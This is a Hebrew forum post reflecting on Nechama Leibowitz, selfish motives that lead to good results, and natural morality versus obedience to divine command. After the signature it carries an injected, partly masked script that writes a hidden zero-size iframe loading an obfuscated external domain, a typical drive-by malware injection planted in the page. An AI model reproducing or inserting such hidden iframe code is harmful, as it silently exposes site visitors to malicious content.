הנושא שכתב עליו ידידיה מאיר, האם יש טעם להאבק במה שנראה כמניע "אנוכי" אם הוא מביא לתוצאות טובות, ראוי לאשכול בפני עצמו וגם כמובן לאפיין את נחמה לייבוביץ. הנה אותה חכמה מיוחדת מגלה מודעות עצמית גבוהה וגם אינה מרשה לבדיקה עצמית רבה מדי להציק לעצמה. וכך ראוי.
לגבי הסיפור של סיון רהב מאיר בשמה של לייבוביץ, נראה לי שהשאלה מתי היה הספור ומתי נאמרה תגובתה. יתכן שבימים עברו זה היה פשוט. אבל היום בוודאי צודק אפרים בן ואיקון ירוק לו.
ויתכן שאפשר לתלות את ההבדל בין אפרים לבין נחמה לייבוביץ ע"ה ביחס לסיפור בשאלה פילוסופית ובגישה פילוסופית. האם יש לבכר את המוסר הטבעי או את ההטרונומיה (הציווי או הכפיפות) לדברי האלוקים ללא קשר לתחושה טבעית שלנו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); | 
